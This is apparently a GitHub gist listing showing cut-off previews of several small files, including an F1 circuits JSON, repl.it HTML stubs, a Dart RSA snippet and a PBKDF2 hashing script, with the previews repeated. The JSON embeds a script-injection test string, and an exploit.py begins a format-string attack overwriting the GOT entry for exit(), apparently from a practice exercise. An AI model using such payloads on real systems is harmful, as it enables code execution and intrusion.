Oshawk

## gist:75a3fe45b2c61d2b2cca2cc7dea9262e
{"loggedIn":true,"data":[{"circuitId":"</script><script>alert('Vulnerable!')</script>","url":"http://en.wikipedia.org/wiki/Melbourne_Grand_Prix_Circuit","circuitName":"Albert Park Grand Prix Circuit","Location":{"lat":"-37.8497","long":"144.968","locality":"Melbourne","country":"Australia"}},{"circuitId":"americas","url":"http://en.wikipedia.org/wiki/Circuit_of_the_Americas","circuitName":"Circuit of the Americas","Location":{"lat":"30.1328","long":"-97.6411","locality":"Austin","country":"USA"}},{"circuitId":"bahrain","url":"http://en.wikipedia.org/wiki/Bahrain_International_Circuit","circuitName":"Bahrain International Circuit","Location":{"lat":"26.0325","long":"50.5106","locality":"Sakhir","country":"Bahrain"}},{"circuitId":"BAK","url":"http://en.wikipedia.org/wiki/Baku_City_Circuit","circuitName":"Baku City Circuit","Location":{"lat":"40.3725","long":"49.8533","locality":"Baku","country":"Azerbaijan"}},{"circuitId":"catalunya","url":"http://en.wikipedia.org/wiki/Circuit_de_Barcelona-Catalunya","circuitNa

## index.html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <title>repl.it</title>
    <link href="style.css" rel="stylesheet" type="text/css" />
  </head>
  <body>
    <p>Encrypt:</p>

## rsa.dart
import 'dart:math';

BigInt randomBigInt(Random rng, int bitLength) {
  BigInt bigInt = BigInt.zero;
  for (int i = 0; i < bitLength; i++) {
    if (rng.nextBool()) {
      bigInt = (bigInt << 1) + BigInt.one;
    } else {
      bigInt = bigInt << 1;
    }

## index.html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <title>repl.it</title>
    <link href="style.css" rel="stylesheet" type="text/css" />
  </head>
  <body>
    <script src="script.js"></script>

## exploit.py
# We want to redirect flow to 0x080484b4.
# The GOT entry for exit() is located at 0x8049724.
# Writing the entry in two parts to save on execution time.

import struct

got_lower = struct.pack("I", 0x8049724)  # Address for the GOT entry so we can first write the lower 2 bytes.
got_upper = struct.pack("I", 0x8049726)  # Address for the GOT entry + 2 so we can first write the upper 2 bytes.

f_lower = "%33964x%4$n"  # 0x84b4 = 0d33972. 33972 - 8 (chars of got_lower and got_upper) = 33964. The 4th %x would referance got_lower.

## hash.py
import hashlib

password = input("Enter password: ").encode()
salt = input("Enter salt: ").encode()

print(hashlib.pbkdf2_hmac('sha512', password, salt, 65536).hex())
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width">
	<title>repl.it</title>
	<link href="style.css" rel="stylesheet" type="text/css" />
	</head>
	<body>
	<p>Encrypt:</p>
	import 'dart:math';

	BigInt randomBigInt(Random rng, int bitLength) {
	BigInt bigInt = BigInt.zero;
	for (int i = 0; i < bitLength; i++) {
	if (rng.nextBool()) {
	bigInt = (bigInt << 1) + BigInt.one;
	} else {
	bigInt = bigInt << 1;
	}
	# We want to redirect flow to 0x080484b4.
	# The GOT entry for exit() is located at 0x8049724.
	# Writing the entry in two parts to save on execution time.

	import struct

	got_lower = struct.pack("I", 0x8049724) # Address for the GOT entry so we can first write the lower 2 bytes.
	got_upper = struct.pack("I", 0x8049726) # Address for the GOT entry + 2 so we can first write the upper 2 bytes.

	f_lower = "%33964x%4$n" # 0x84b4 = 0d33972. 33972 - 8 (chars of got_lower and got_upper) = 33964. The 4th %x would referance got_lower.
	import hashlib

	password = input("Enter password: ").encode()
	salt = input("Enter salt: ").encode()

	print(hashlib.pbkdf2_hmac('sha512', password, salt, 65536).hex())